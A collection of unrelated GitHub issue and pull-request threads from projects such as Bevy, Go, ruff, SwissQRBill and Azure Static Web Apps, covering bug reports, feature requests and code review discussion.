link "some benchmarks" to sources

What problem does this solve or what need does it fill?
Improve onboarding and initial impression for visitor of https://bevyengine.org/
What solution would you like?
"some benchmarks" at https://bevyengine.org/ link to said benchmarks - or even better an overview of performance compared to alternatives
What alternative(s) have you considered?
None
Additional context
"some benchmarks" without anything specific or link to anything specific is not very impressive. Everyone knows that anything can win at some benchmark.
I would also note that starting from performance claims would have negative effects if performance will not turn out to be great in practice.
(is performance really primary strength of Bevy?)

Moved to https://github.com/bevyengine/bevy-website/issues/262


copied popup in the bottom

To reproduce:
Visit https://docs.100ms.live/javascript/v2/guides/react-quickstart
Click on Copy in one of the Code Snippets

You can see that the "Copied" popup is at the bottom
If you're planning to fix this just remove the popup and replace the copy icon with Check icon
Refer to this implementation here

Can I work on this issue?


Update version to 0.7

cc @danhuawang Could you verify this pull request using helm chart?

Verify helm-chart passed.


Getting rid of nested modules (e.g. Basics/Helpers)

I figure that we have very few static modules (oo+helpers), most things we are documenting are classes actually. I had the following ideas:
Option 1
To avoid nesting we could maybe push some of our sub modules into one static function collection that we call basics. This would include helpers, and OO functions.
var _ = require('basics');
_.inherit(Cat, Animal);

Then the docs could exist on top level of the basics module.
Pro: Less entry points to learn the 'Substance standard lib'
Con: mixing lodash stuff with OO stuff
Option 2
Using basics really just for organisational purposes on the file/dir level but calling Helpers and OO first class modules. Then we could Call it Substance Helpers instead of Substance Basics.Helpers.
Pro: Docs get more lightweight
Con: There is no 1:1 mapping between module names and the file layout anymore.
Option 3
Moving some things to the top level, imo the file noise would be acceptable. We'd then have:
/oo.js (module)
/helpers.js (module)
/jquery.js (module)
/event_emitter.js (class)
/path_adapter.js (path adapter)
/factory.js (class)

Pro: Most accessible / user-friendly for the library user. E.g. requiring the Helpers module require('substance/helpers') Requiring the OO module: require('substance/oo')
Con: Potentially noisy on top level as we add more things.

As for myself I guess I would would prefer 3) to have a consistent nomenclature where each substance concept that is general-purpose gets it's own slot on top level (e.g. Substance.EventEmitter Substance.Helpers). While Document is a real module, that encapsulates various functionalities that can only exist together, Basics is merely a pseudo module, just to group core things together. I think it would help people when they can map concept names (EventEmitter) to require statements (require('substance/event_emitter').

I was also confused with this. Let's keep it logically together...
On Mon, Oct 12, 2015, 18:05 Michael Aufreiter<EMAIL_ADDRESS>wrote:

I figure that we have very few static modules (oo+helpers), most things we
are documenting are classes actually. I had the following ideas:
Option 1
To avoid nesting we could maybe push some of our sub modules into one
static function collection that we call basics. This would include helpers,
and OO functions.
var _ = require('basics');
_.inherit(Cat, Animal);
Then the docs could exist on top level of the basics module.
Pro: Less entry points to learn the 'Substance standard lib'
Con: mixing lodash stuff with OO stuff
Option 2
Using basics really just for organisational purposes on the file/dir
level but calling Helpers and OO first class modules. Then we could Call it
Substance Helpers instead of Substance Basics.Helpers.
Pro: Docs get more lightweight
Con: There is no 1:1 mapping between module names and the file layout
anymore.
Option 3
Moving some things to the top level, imo the file noise would be
acceptable. We'd then have:
/oo.js (module)
/helpers.js (module)
/jquery.js (module)
/event_emitter.js (class)
/path_adapter.js (path adapter)
/factory.js (class)
Pro: Most accessible / user-friendly for the library user. E.g. requiring
the Helpers module require('substance/helpers') Requiring the OO module:
require('substance/oo')
Con: Potentially noisy on top level as we add more things.
As for myself I guess I would would prefer 3) to have a consistent
nomenclature where each substance concept that is general-purpose gets it's
own slot on top level (e.g. Substance.EventEmitter Substance.Helpers).
While Document is a real module, that encapsulates various
functionalities that can only exist together, Basics is merely a pseudo
module, just to group core things together. I think it would help people
when they can map concept names (EventEmitter) to require statements
(require('substance/event_emitter').
—
Reply to this email directly or view it on GitHub
https://github.com/substance/substance/issues/135.

We have folders now, using deep requires. Files have the same name as the class/function/module they provide. We will try to use lodash directly, without helpers in future.


DCOS-15289: fix - Reducers - Remove volume mounts correctly

Checklist

[x] Did you add a JIRA issue in a commit message or as part of the branch name?
[ ] Did you add new unit tests?
[ ] Did you add new integration tests?
[ ] If this is a regression, did you write a test to catch this in the future?

Remove volume mounts from container if the remove
volume was the last one.
Closes DCOS-15289

I still can reproduce the issue. Since I took over all the Philip's PRs I'm going to fix it.

Fixed the PR and added a test

Works gret!


SSR should work if main in package.json doesn't have the name of the app

It seems that ssr is failing if the main is like "main": "index.stache!done-autorender",.
I think this is a bug b/c this works fine if you load StealJS in production as a client-rendered app.  It only breaks with SSR.

This is breaking even if I call ssr with the right values:
module.exports = ssr({
  config: __dirname + "/package.json!npm",
  main: "bitballs/index.stache!done-autorender",
  liveReload: true
});

Looks like done-ssr-middleware ignores the passed in configuration:
// In production we need to pass in the main, otherwise it doesn't know what
// bundle to load from.
if(process.env.NODE_ENV === 'production') {
		system.main = (pkg.system && pkg.system.main) || (pkg.steal && pkg.steal.main) || pkg.main;
}

If system.main is present, this should probably assume the person knows right. Also, it might want to include the package.name here in the main if it's not already present.

Issue moved to donejs/done-ssr-middleware #25 via ZenHub


[SR-13466]: Fix demangling of optionals containing function types.

ImplFunctionType nodes inside optionals are wrapped in Type nodes,
which means that isSimpleType() needs to look through the Type node
when we're printing them, or we fail to wrap them with parentheses.
rdar://67915116

@swift-ci Please smoke test

@swift-ci Please smoke test

@swift-ci Please smoke test

@swift-ci Please clean smoke test macOS platform


tested the analysis pipeline with flu plate data.

@mattersoflight can you add a description of what this PR does?  I see a lot of notebooks but the names are not clear to me (such as "interpretationV1, V2, V3, V4").  Perhaps you can add a line in the description above about which notebooks are important?

Hi @bryantChhun notebook versions v1, v2, are attempts at reading the output from pipeline and plotting with pandas/seaborn. Won't affect the array_analyzer. The lasting edits we need from here are in the workflow, which provide improvements to command line and debug plots in interpolation workflow.


Graphics format PNG not available (are you missing the NuGet package Codecrete.SwissQRBill.Generator?)

Having upgraded from Codecrete.SwissQRBill.Generator 2.5.3 to version 3.3.0 I receive the above mentioned error when attempting to generate a .png type of image (GraphicsFormat = GraphicsFormat.PNG)
What am I missing?

The error message sounds as if you are using the Codecrete.SwissQRBill.Core instead of Codecrete.SwissQRBill.Generator. The former one does not include PNG generation.
If this is not the case, then please describe the technical aspects of the application you are building:

Is it a standalone .exe, an ASP.NET application, a library etc.?
What platform (Windows, Linux, macOS) does it run on?
What version of .NET are you using?
Are you using trimming or a similar technique to optimize the executable?

Codecrete.SwissQRBill.Generator determines at run-time if the PNG generation capability is available. If it can't find a class providing it, it will generate the mentioned error message.

I've tried both Codecrete.SwissQRBill.Generator as well as Codecrete.SwissQRBill.Windows
I am targeting Windows 10.
As far as I have now discovered the error occurs when I build for .Net Framework 4.8
When compiled for .Net 8 the PNG format is handled correctly.
SVG format is handled ok in both cases.
PS Exception stack trace:
(last line is my code)
at Codecrete.SwissQRBill.Generator.QRBill.CreateCanvas(BillFormat format)
at Codecrete.SwissQRBill.Generator.QRBill.Generate(Bill bill)
at RdExtensions.QRBillService.GetQRFileName(Invoice invoice)

Your case sound familiar. We've seen it before. If Codecrete.SwissQRBill.Windows is indirectly referenced (e.g. Application -> Class Library Project -> SwissQRBill package), then Visual Studio seems to optimize Codecrete.SwissQRBill.Generator or Codecrete.SwissQRBill.Windows away and only reference Codecrete.SwissQRBill.Core.
To prevent it, add the following static constructor to the class generating the QR bill:
static BillGeneratorClass()
{
    new PNGCanvasFactory().Register();
}

I've taken the case to extend the README. See https://github.com/manuelbl/SwissQRBill.NET?tab=readme-ov-file#png-generation.
The better code to include might be CanvasCreator.Register(new PNGCanvasFactory());. It works with both Codecrete.SwissQRBill.Generator or Codecrete.SwissQRBill.Windows.

Thanks a lot!
This workaround does it! 👍


The StyleguideIndex object is polluting the global/window object

On the current way the StyleguideIndex object is being implemented, it is polluting the global/window object exposing all the properties and methods, creating security holes in the application.
The object shouldn't be globally accessible unless you want any other script to use it in some way.

Hi @davegomez !
Yes. Previously StyleguideIndex and StyleguideIframe called each other methods but that was dropped. Even in that case the best would be to use a module loader/definition of some sort.
In any case, there must be some testing (both manual and running the current written tests) if such change is implemented (as an IIFE for example).
Definetely important, thanks again!

Let me see if I can make a successful refactor of this module.

@caiovaccaro I notice you are using the FRONT_END_TEST constant only for testing purposes, or there is any other use of this constant?
How important is to keep this constant in the project?

Hi @davegomez , yes it is only for testing purposes.
I'm open to suggestions, if you want to take a look, see the travis.yml file. It should be all you need to have the tests running.
I need to be able to run the tests on Travis CI. Thanks again for your interest!

@davegomez , any updates on this?
Thanks!!

Just getting back from vacation @caiovaccaro, let me check again the project and see how can I work on this topic.

Awesome @davegomez

Tagged for 3.0 :)

Will be addressed in 3.0.


AffineTransform multiplication test failed once

From: https://travis-ci.org/jlfwong/speedscope/builds/416911664?utm_source=github_status&utm_medium=notification
 FAIL  src/lib/math.test.ts (42.845s)
  ● AffineTransform › times
    Failed after 62 tests and 55 shrinks. rngState: 8394d7fb8c61ae2305; Counterexample: {"m00":0,"m01":-5.367341258943892e-7,"m02":0,"m10":-5.637762076626807e-7,"m11":22.105444583576173,"m12":0}; {"m00":-19.956948631443083,"m01":41.27141907811165,"m02":32.4375735828653,"m10":-19.53049001749605,"m11":40.38256627973169,"m12":3.136250004172325};
      359 |
      360 |   test('times', () => {
    > 361 |     jsc.assertForall(invertibleTransform, invertibleTransform, (t1, t2) => {
          |         ^
      362 |       return t1
      363 |         .times(t2)
      364 |         .times(t2.inverted()!)
      at node_modules/jsverify/lib/jsverify.js:360:15
      at Object.map (node_modules/jsverify/lib/functor.js:35:12)
      at checkThrow (node_modules/jsverify/lib/jsverify.js:354:30)
      at Object.assertForall (node_modules/jsverify/lib/jsverify.js:485:10)
      at Object.test (src/lib/math.test.ts:361:9)

I hit this again:
    Failed after 36 tests and 57 shrinks. rngState: 857c059d36a1824bef; Counterexample: {"m00":0,"m01":7.101930074443485e-7,"m02":0,"m10":-5.378125217531116e-7,"m11":2.90428925357
99183,"m12":0}; {"m00":12.973272448405623,"m01":7.433900397270918,"m02":-21.513099929783493,"m10":36.96676528733224,"m11":21.18127042800188,"m12":28.690610187128186};

      342 |
      343 |   test('times', () => {
    > 344 |     jsc.assertForall(invertibleTransform, invertibleTransform, (t1, t2) => {
          |         ^
      345 |       return t1.times(t2).times(t2.inverted()!).approxEquals(t1)
      346 |     })
      347 |   })

      at node_modules/jsverify/lib/jsverify.js:360:15
      at Object.map (node_modules/jsverify/lib/functor.js:35:12)
      at checkThrow (node_modules/jsverify/lib/jsverify.js:354:30)
      at Object.assertForall (node_modules/jsverify/lib/jsverify.js:485:10)
      at Object.test (src/lib/math.test.ts:344:9)


cmd/go: document how to disable a vendor folder (particularly important for Go1.7+)

What version of Go are you using (go version)?

go1.7rc3

What operating system and processor architecture are you using (go env)?

darwin amd64

What did you do?

Having vendored a package in the vendor folder, I cannot temporarily ignore that folder and use the GOPATH (VCS'ed) copy of the package, while testing/integrating changes to that repository.
Note my company's use case:

Most of our projects import packages from one private shared repository, and additionally several 3rd party repositories. The problem relates to changes we make in our own shared repository (golibs).
We would like to be able to use a kind of 'novendor' mode whilst refining and integrating changes in this shared golibs repository.
In Go1.5 and Go1.6, we can acheive this by setting GO15VENDOREXPERIMENT=0 during development / testing of changes to the shared repo. This is a pretty fundamental part of our workflow. In Go1.7, this facility is going away.

What did you expect to see?

Either:

a commandline flag for the go toolchain to disable use of the vendor folder, something like, go [build|install|test] -novendor

Or:

a recommendation to temporarily rename the vendor folder.
Something like "rename vendor directory to _novendor. See https://github.com/golang/go/issues/13218 for rsc's suggestion along these lines.
NOTE: Also include a recommendation for ignoring (e.g. .gitignore) the _novendor folder, and a local-ignore for the vendor folder (e.g. .git/info/exclude or git update-index --skip-worktree).

Or, some other solution. I can't come up with any other workable alternative. I have tried and failed to devise alternatives using symbolic links, git submodules, and partially vendoring dependencies. None of these have resulted in satisfactory outcomes. Note that I have as-yet been unable to find a 3rd party 'vendoring' tool which addresses this issue, either.

What did you see instead?

The Go1.7 release candidates do not provide any flag for switching off vendoring, nor do they document alternatives, nor provide recommendations for this use case.
Thankyou

We are in need of a similar solution. We are operating under Compliance constraints and are having problems with our Auditor's  "Audit Trails". "Vendoring" introduces "Import" by path length and thus "conditional dependancy" which we can't get them to accept at the moment. We currently relocate "Vendored" code and rewrite the import statements. At the moment this trivial. However, pressure is growing to enforce "no vendored code".
njv

@laher
IMHO -novendor flag doesn't provide very consistent user experience. Other than go tool there are other tools that rely on vendor behavior such as gocode (autocompletion) and goimports. They normally are executed by an IDE/editor in the background and mechanism to change their arguments on per project basis doesn't always exist.
Additionally if golibs in your example has some private vendored dependecies -novendor flag simply won't work. And BTW the standard library in Go 1.7 has vendored dependencies in GOROOT. So some packages (e.g. net/http) from the stanrdard library cannot be built without vendoring support.
Finally with many packages in vendor folder and many projects with different versions of vendored dependencies it is almost impossible to ensure that GOPATH has the correct versions when vendoring is disabled.
For experiments you can rename vendor to _vendor or just hack in vendor/golibs and move the changes manually to the golibs project later.
@rhedile
Would "no vendor directories in the source control" rule will satisfy the compiance? It is probably easier to enforce than making sure that build scripts turn off vendoring support.

We'll discuss this again, but FYI, we are likely to decide to maintain the status quo (no ability to disable vendoring). The word "EXPERIMENT" in the environment variable was meant to convey that the existence of the environment variable was temporary.

As @laher suggested, we should add a recommendation (in the release notes?) to rename 'vendor' directories if vendoring behavior isn't desired.

Thanks for all the info. It's clear to me now. @kostya-sh: "the standard library in Go 1.7 has vendored dependencies in GOROOT" - this is key.
So, could you please treat this as a request for documentation? I suggest here: https://golang.org/cmd/go/#hdr-Vendor_Directories

In Go 1.5, as an experiment, setting the environment variable GO15VENDOREXPERIMENT=1 enabled these features. As of Go 1.6 they are on by default. To turn them off, set GO15VENDOREXPERIMENT=0. In Go 1.7, the environment variable will stop having any effect.

An extra sentence or 2 would suffice. Could it be as follows please, including a recommended name (to encourage consistency in 3rd party tooling)?

To temporarily disable a vendor folder, simply rename it. It is recommended to use a standard name such as _novendor, and to ignore it from your SCM

Thanks again. Note: renaming issue to reflect this comment.

For reference, I've taken the advice I received here, and made a shell script to help support my workflow.
https://github.com/laher/vendoff
It mainly just does a mv vendor _novendor and a git --skip-worktree. It also does the reverse to revert back to normal. See README.md for instructions and rationale.

We're happy to take clarification for the documentation, but I do not want to do anything that prescribes a particular style of usage for the vendor directory.

In module mode, only the vendored dependencies of the main module are used for the build.
So now we have an answer: to disable vendoring, set GO111MODULE=on and ensure that the main module does not have a vendor directory.


Feature Unavailable: Facebook Login is currently unavailable for this app.

Error when trying to login with facebook

@drma-dev Please provide more info on the error and how you got it. I just tested it out and it's working fine. See here that I'm logged in and my profile is returned at /.auth/me.

@drma-dev Please provide more info on the error and how you got it. I just tested it out and it's working fine. See here that I'm logged in and my profile is returned at /.auth/me.

I do not know exactly

I do not know exactly

I was thinking it could be something on my facebook, so I asked a friend to test it for me. Same result.

I was thinking it could be something on my facebook, so I asked a friend to test it for me. Same result.

Hi guys, got the same problem. I configured in the FaceBook application the ”Valid OAuth Redirect URIs” to ”https://identity.azurestaticapps.net/.auth/login/facebook/callback”. The FaceBook app is working, I implemented a plain JavaScript authentication using the FB JS API.
Below is the invitationurl (the expiration is set for 48 hours):
https://red-dune-0ed2a5a03.azurestaticapps.net/.auth/invitations/accept?provider=facebook&userDetails=tibor.edgar.molnar%40gmail.com&roles=preecky_user&se=2021-01-04T20%3A05%3A14Z&sig=0X6YSvJiOwrG6wo1N%2BLM00Xs68avn7P7jdkdg%2BrBmtI8moJ%2BkCpogDbjUtPAias16nDdsraI%2BuBKMCCBnF0tx0DTIMXv4sLeWP1V%2Brdsyop4xa8nAhAng5BzM79KzDmfeQhyIdW2luPkkKT65Rcm6TEAv4Z085dtaJAomjP9ajLEx4Snd141UGBryQmXB3AbN5LduMYLvY8cuCJ%2BOBXlTQ%3D%3D

Hi guys, got the same problem. I configured in the FaceBook application the ”Valid OAuth Redirect URIs” to ”https://identity.azurestaticapps.net/.auth/login/facebook/callback”. The FaceBook app is working, I implemented a plain JavaScript authentication using the FB JS API.
Below is the invitationurl (the expiration is set for 48 hours):
https://red-dune-0ed2a5a03.azurestaticapps.net/.auth/invitations/accept?provider=facebook&userDetails=tibor.edgar.molnar%40gmail.com&roles=preecky_user&se=2021-01-04T20%3A05%3A14Z&sig=0X6YSvJiOwrG6wo1N%2BLM00Xs68avn7P7jdkdg%2BrBmtI8moJ%2BkCpogDbjUtPAias16nDdsraI%2BuBKMCCBnF0tx0DTIMXv4sLeWP1V%2Brdsyop4xa8nAhAng5BzM79KzDmfeQhyIdW2luPkkKT65Rcm6TEAv4Z085dtaJAomjP9ajLEx4Snd141UGBryQmXB3AbN5LduMYLvY8cuCJ%2BOBXlTQ%3D%3D

@tmol Can you describe a bit more about how you’re setting this up? You cannot use your own Facebook app registration with Static Web Apps right now. You should be using the login links as described here: https://docs.microsoft.com/en-us/azure/static-web-apps/authentication-authorization
We don’t currently support using the Facebook JS libraries to authenticate.
/cc @mkarmark

@tmol Can you describe a bit more about how you’re setting this up? You cannot use your own Facebook app registration with Static Web Apps right now. You should be using the login links as described here: https://docs.microsoft.com/en-us/azure/static-web-apps/authentication-authorization
We don’t currently support using the Facebook JS libraries to authenticate.
/cc @mkarmark

Thank you for your response. Yes sorry, I mixed things up :-) (I was testing manual login using a custom FB app). Bottom line is that I am using the steps defined in the article you mentioned (https://docs.microsoft.com/en-us/azure/static-web-apps/authentication-authorization), I am generating a link like the one mentioned above and receive the response described above "Feature Unavailable: Facebook Login is currently unavailable for this app.".

Thank you for your response. Yes sorry, I mixed things up :-) (I was testing manual login using a custom FB app). Bottom line is that I am using the steps defined in the article you mentioned (https://docs.microsoft.com/en-us/azure/static-web-apps/authentication-authorization), I am generating a link like the one mentioned above and receive the response described above "Feature Unavailable: Facebook Login is currently unavailable for this app.".

I am also experiencing this issue, and I'm using the standard URL stated in the documentation here: https://docs.microsoft.com/en-us/azure/static-web-apps/authentication-authorization#login.
It was working before.

I am also experiencing this issue, and I'm using the standard URL stated in the documentation here: https://docs.microsoft.com/en-us/azure/static-web-apps/authentication-authorization#login.
It was working before.

@mkarmark Could you please take a look?

@mkarmark Could you please take a look?

I have resolved the issue that was preventing logins; Facebook logins should now be successful. Apologies for the inconvenience!

I have resolved the issue that was preventing logins; Facebook logins should now be successful. Apologies for the inconvenience!

Well, now something else is happening. And now with all the logins: sorry there's nothing at this address
I'm getting this message in the browser, I don't know if it's related:
info: Microsoft.AspNetCore.Authorization.DefaultAuthorizationService[2]
      Authorization failed. These requirements were not met:
      DenyAnonymousAuthorizationRequirement: Requires an authenticated user.

It only works if I clear the cache and enter the address manually.

Well, now something else is happening. And now with all the logins: sorry there's nothing at this address
I'm getting this message in the browser, I don't know if it's related:
info: Microsoft.AspNetCore.Authorization.DefaultAuthorizationService[2]
      Authorization failed. These requirements were not met:
      DenyAnonymousAuthorizationRequirement: Requires an authenticated user.

It only works if I clear the cache and enter the address manually.

Sorry I'm not able to repro that on our end, could you email us a .har file or a video showing exactly how the flow is breaking for you?

Sorry I'm not able to repro that on our end, could you email us a .har file or a video showing exactly how the flow is breaking for you?

right. which email?

right. which email?

@drma-dev Can you please send it to me at<EMAIL_ADDRESS>and I can relay it to @mkarmark? Thanks.

@drma-dev Can you please send it to me at<EMAIL_ADDRESS>and I can relay it to @mkarmark? Thanks.

done. thanks.

done. thanks.

@mkarmark it's working for me now. Thank you!

@mkarmark it's working for me now. Thank you!

Is working for me too. Thank you @mkarmark  :-)

Is working for me too. Thank you @mkarmark  :-)

@mkarmark @drma-dev i have same problem, Please send to me also<EMAIL_ADDRESS>

@mkarmark @drma-dev i have same problem, Please send to me also<EMAIL_ADDRESS>

@mkarmark it's working for me now. Thank you!

How you solve? Can you please help me?

there is nothing for the developer to do. it is an internal configuration from microsoft.

If anyone is still facing this issue. Please check in your developer account if you have a pending Data use Checkup.
Once you complete it, it should work.

While debugging this I found that it is a device-specific issue so don't really on one device test case just try with another device it will work fine. Note: This is related to Android only.

Verification required Business must be verified


Adds timer to usage statistics prompt

This PR adds a 10 second timer to the usage statistics permission prompt shown on first run of Bower.
The code has not been given a serious workthrough or been given tests, because this is primarily to demonstrate an idea of how to possibly resolve in issue that's been making people crazy for the last one and a half year (https://github.com/bower/bower/issues/1102).

I like it :) I needs tests, though. Like something is not called twice / overwritten.

It would be even better if insight added it.

To properly stop the prompt from waiting for stdin, I agree that this should be in the insight module, so I've created a PR there instead: https://github.com/yeoman/insight/pull/35
Closing this!

I'll create a new PR for implementing this in Bower, if/when the optional permission timeout has been added to insight.


Panic when Jupyter notebook contains only a single empty code cell

Jupyter notebook content (1 empty code cell):

Command:
$ cargo run --all-features --bin ruff -- check --select=ALL /path/to/notebook.ipynb

Output:
    Finished dev [unoptimized + debuginfo] target(s) in 0.37s
     Running `target/debug/ruff check --select=ALL /Users/dhruv/playground/python/ruff_test.ipynb`
warning: `one-blank-line-before-class` (D203) and `no-blank-line-before-class` (D211) are incompatible. Ignoring `one-blank-line-before-class`.
warning: `multi-line-summary-first-line` (D212) and `multi-line-summary-second-line` (D213) are incompatible. Ignoring `multi-line-summary-second-line`.
warning: Detected debug build without --no-cache.

error: `ruff` crashed. This indicates a bug in `ruff`. If you could open an issue at:

https://github.com/charliermarsh/ruff/issues/new?title=%5BPanic%5D

quoting the executed command, along with the relevant file contents and `pyproject.toml` settings, we'd be very appreciative!

thread 'main' panicked at 'index out of bounds: the len is 1 but the index is 1', crates/ruff/src/message/text.rs:73:32
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
/Users/dhruv/playground/python/ruff_test.ipynb:%

Ruff version: https://github.com/charliermarsh/ruff/commit/fc63c6f2e260760963c5fdea2d9d4e0cf38ec58a

@MichaReiser
let after = checker
    .locator
    .slice(TextRange::new(docstring.end(), stmt.end()));

after would be an empty slice when the notebook contains only a single empty cell, thus after.universal_newlines().skip(1)  is trying to skip to an element that does not exist, hence the "index out of bounds" panic.

@MichaReiser
let after = checker
    .locator
    .slice(TextRange::new(docstring.end(), stmt.end()));

after would be an empty slice when the notebook contains only a single empty cell, thus after.universal_newlines().skip(1)  is trying to skip to an element that does not exist, hence the "index out of bounds" panic.

Where did you find the after.universal_newlines().skip(1) call. Skip should not traverse passed the end. It skips a line if there's one, but does nothing if the iterator has already reached the end of the line.
My assumption is that the jupyter_index.row_to_cell[start_location.row.get()] is out of bounds because jupyter_index.row_to_cell is empty?
https://github.com/charliermarsh/ruff/blob/c6e5fed6587c95839a814ee8dfa845b465351229/crates/ruff/src/message/text.rs#L72-L78

jupyter_index.row_to_cell is empty indeed but contains the default [0] which is just a placeholder as the index starts at 1. Now, there's a message to be displayed on the first line but the source is empty (not even a newline). This means there's no entry for the first line in the index which is creating this panic.

Hmm, the LineIndex should never be empty. It always adds at least one entry for the start position 0.
https://github.com/charliermarsh/ruff/blob/9131a8e7f158329c362363fadcb97629f893a8a4/crates/ruff_python_ast/src/source_code/line_index.rs#L30
What's the easiest way for me to reproduce this bug?

Oh by index I meant the Jupyter Index is empty, as in it only contains the placeholder (jupyter_index.row_to_cell = vec![0]). Now, start_location.row.get() returns 1 as it's one-indexed which results in a panic.
But, here's a notebook which will help in reproducing the bug (https://gist.github.com/dhruvmanila/2291dbeea59bc506186060617ef0ec4f) using the following command:
cargo run --all-features --bin ruff -- check --no-cache --isolated --select=D100 /path/to/notebook.ipynb

Ah I see. Thanks. So this is an issue with the JupyterIndex for empty files.


Command parsing/validation

@jdegoes -  @defrag and I got together to pair and we hit some issues with the Command type.
https://github.com/zio/zio-cli/pull/27/files#diff-799e240d2a7a107609641df6cef452e4R114-R122
It would seem to me that we need a Single and Cons type construct in command similar to Args and Options so that we can combine the options from a subcommand with its parent.
I also feel that we need a way to turn Command.A and Command.B into a single Command.S type that can be a single case class, that represents the state the overall state the command is working with.

Let's work on this tomorrow!


Final Milestone: Kanban Board

Project link here
Our collaboration consists of 5 members split into two main groups:
Front-End
@NickEmma
@AACHOURMOHAMED
Back-End
@amejid
@Abel-desu
@Said-laasri
Points Per Coder
@amejid = 8.0
@AACHOURMOHAMED = 8.0
@NickEmma = 8.0
@Abel-desu = 8.0
@Said-laasri = 8.0

Hi @NickEmma
Good job so far!
There are some issues that you still need to work on to go to the next project but you are almost there!
To highlight:

All tasks are pointed ✔
Pointing is fair ✔
All tasks have descriptions ✔ ✔

Required Changes ♻
According to the project requirements:

Therefore,

[ ] kindly add a screenshot of your kanban board to the description like this one:

Optional suggestions
Every comment with the [OPTIONAL] prefix is not crucial enough to stop the approval of this PR. However, I strongly recommend you to take them into account as they can make your code better.
Cheers and Happy coding!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification.
Please, do not open a new Pull Request for re-reviews. You should use the same Pull Request submitted for the first review, either valid or invalid unless it is requested otherwise.

As described in the Code reviews limits policy you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.

@Meltrust thanks for the review

@Meltrust thank you for your review

Hi STUDENT_MENTION,
Wow, you did it 🎉

Thank you for implementing the changes requested by the previous reviewer 💪 🥇 ㊗
Well done!
Your project is complete!  There is nothing else to say other than... it's time to merge it :shipit:
Congratulations! 🎉
To highlight

Issue now has a screenshot✔

Optional suggestions
Every comment with the [OPTIONAL] prefix won't stop the approval of this PR. However, I strongly recommend you to take them into account as they can make your code better. Some of them were simply missed by the previous reviewer and addressing them will really improve your application.
Cheers and Happy coding!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification.

As described in the Code reviews limits policy  you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.

@Meltrust thanks for the review on our project


Relative path based shader file imports stopped working

Bevy version
main at 4eb9b9f
What you did
#import "something.wgsl" as something
What went wrong
It doesn't give any errors. If an incorrect path is provided, then ERROR bevy_asset::server: path not found is logged, but with the correct path there's no error, the shader just doesn't run.
Additional information
From what @DGriffin91 can tell it's Bevy Asset V2 #8624, works just before, doesn't work after, doesn't work on current main.

Fixed by https://github.com/bevyengine/bevy/pull/10030?


Add support for changing number of colours per pixel in set_mode()

As an Agon Programmer
I want to be able to set resolution and # of colour planes independantly
So that I use higher resolutions in FabGL
Background: The ESP32 only has ~400K of DRAM available for data, so higher resolutions at full colour count do not work.
Acceptance Criteria:

Be able to set the resolution and # of colour planes independantly
A simple way of setting this up in the set_mode function

Contributers:

Lennart Benschop
Igor Chaves Cananea

Feedback from Lennart on Facebook:
Adding the 640x480 mode at 16 colours to your latest code does not work reliably when you switch between 64, 16 and 2 colour modes. You will soon lose the bottom few lines after having switched to 2 or 64 colour mode and then back to 640x480. But the 640x480 mode appears to behave itself much better in 8 colour mode. I can switch modes as much as I like and I never lose the bottom part of the screen. At this point we do not have the additional 4kB used by the 16-bit font. I'm afraid that adding this will reduce reliability again. Downgrading the 640x480 mode to 8 colours appears to help. It has a weird palette though (not the expected black-red-green-yellow-blue-magenta-cyan-white), but you CAN change the palette and get the expected colours in 8-colour mode.
Added the 16x8 font data array (and made sure it was referenced!!!! so I see it allocated in the global variable space) and your code still appears to switch reliably between modes, when I downgrade 640x480 to 8 colours.


Support Gibwork Create Task

Is your feature request related to a problem? Please describe.
Enable AI agents to seamlessly create and manage tasks on the Gibwork
Describe the solution you'd like
Agents should have the capability to:

Create tasks on Gibwork directly through the toolkit.

Additional context
Use Gibwork API /tasks/public/transaction documented at https://gibwork.readme.io/reference/taskscontrollercreatepublictransactiontask-1
For questions or discussions share them on #dev-chat channel on https://discord.gg/TNXJjpRvqN
400 USDC Bounty - https://app.gib.work/bounties/6963c538-dc0b-4a3c-9cd5-0a18c0b20d9e

#56


How can I obtain the line_id of the table and picture?

Hello, please help me.
When I use dedoc to parse a .docx file, I cannot obtain the line_id of the table to match its position in the text.

Hello! You can use TableAnnotation for this purpose (AttachAnnotation for attached files, e.g. pictures). Here you can see example of tables linking to the lines of the document.
P.s. for extracting attachments, you'll need to use "with_attachments":"true" in the parameters of parsing


Assertions cause forced exit after any MapNode or SkyNode is destroyed.

rocky::MapNode, rocky::SkyNode and possibly other classes copy the InstanceVSG object they're constructed with, and when they're destroyed, so is their copy of the instance. However, when an instance is destroyed, it sets rocky::Instance::_global_status to GeneralError, and as that's static, it means Instance::status() will return a failed status for all instances, and ROCKY_HARD_ASSERT_STATUS will self-destruct.
Either these nodes shouldn't be copying the instance, or the instance status shouldn't be static so the destroyed instances don't pollute the surviving ones.

Thanks - converting this to a defect Issue.

Closing - rocky::Instance::_global_status no longer exists


Non Latin characters displayed incorrectly

I'm trying to screenshot an html file, it seems like all Latin characters are displayed incorrectly. It should be an encoding issue, and I don't know how to solve it.

Could you provide a minimal working example that will allow to reproduce the issue?

Feel free to reopen the issue if you want to provide more insight.


Merge upstream changes.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.0 out of 29 committers have signed the CLA.:x: ehsan-mohammadi:x: kevinlul:x: JackBoosY:x: ubsan:x: cenit:x: crusader-mike:x: jwillemsen:x: isanych:x: myd7349:x: NancyLi1013:x: PhoebeHui:x: grdowns:x: jherico:x: lerppana:x: frabert:x: lukka:x: wangli28:x: eao197:x: RT222:x: Rastaban:x: ras0219-msft:x: NiHoel:x: Neumann-A:x: Cheney-W:x: stijnherfst:x: BillyONeal:x: DailyShana:x: tarcila:x: justinvhYou have signed the CLA already but the status is still pending? Let us recheck it.


[Bug]: WebProxy Issues

Can be fixed by Harmony patching: https://github.com/mono/mono/blob/901ca2bf6d8b8bbc6f8f55a751b2e750eea2b291/mcs/class/System/ReferenceSources/AutoWebProxyScriptEngine.cs#L126
Exception while Contacting RemoteAPI Host (https://api.melonloader.com/api/v1/game/bloonstd6): System.Net.WebException: An exception occurred during a WebClient request. ---> System.NullReferenceException: Object reference not set to an instance of an object

